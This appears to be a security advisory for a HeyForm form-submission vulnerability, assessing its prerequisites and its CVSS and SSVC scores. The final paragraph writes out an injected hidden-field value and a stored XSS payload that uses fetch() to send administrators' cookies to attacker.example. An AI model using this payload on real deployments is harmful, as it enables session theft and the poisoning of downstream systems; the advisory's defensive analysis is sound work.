HeyForm CVE-2026-63428

The targeted form must be publicly accessible without authentication - any form configured to accept anonymous submissions is fully exposed (CVSS PR:N, UI:N). No special server configuration is required beyond a deployed HeyForm instance with at least one active public form. Webhook poisoning impact requires at least one webhook integration to be registered on the affected form; without registered webhooks, injected fields are stored but confined to the HeyForm database. The stored XSS consequence requires an administrator to view the poisoned submission in a UI that renders hidden field values without output encoding - this adds an implicit user-interaction prerequisite for the XSS chain specifically, which is not captured in the base CVSS vector. The control-character URL bypass (also patched in 3.0.0-rc.9) is limited to form fields that render submitted URLs as anchor href attributes. Exploitation is not limited to any specific platform, OS, or non-default configuration of HeyForm itself.

The vendor-assigned CVSS 3.1 score of 5.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N) correctly captures network reachability and low complexity, but the Changed scope metric (S:C) is critical here - it reflects that webhook integrations outside the HeyForm boundary receive poisoned data. SSVC independently confirms automatable exploitation with partial technical impact, consistent with PR:N and the trivial nature of adding arbitrary fields to a form POST. The absence of a KEV listing indicates no confirmed mass exploitation, but the automatable + POC combination lowers the bar for opportunistic scanning. The webhook amplification path is the most consequential risk dimension: downstream CRM, ticketing, or SIEM systems that parse hidden field names as trusted metadata may misinterpret injected values as legitimate form structure. The stored XSS vector requires an admin to render the poisoned submission in a vulnerable UI context (adding implicit UI:R for that impact chain), meaning direct XSS severity is lower than the injection/webhook path. EPSS data was not included in the source intelligence, so exploitation probability relative to broader internet exposure cannot be quantified. No conflicting signals between CVSS and SSVC assessments are present.

An attacker submits a crafted POST to any publicly accessible HeyForm form, supplying a hiddenFields array containing entries such as {id: "injected", name: "role", value: "admin"} and {name: "email", value: "<img src=x onerror=fetch('https://attacker.example/c?'+document.cookie)>"}. The server stores both verbatim and forwards them to all configured webhook endpoints, poisoning any downstream CRM or automation pipeline that treats hidden field names as trusted form schema. When an administrator later opens the submission detail view, the stored XSS payload executes in their browser, exfiltrating session cookies. A POC is available per SSVC assessment.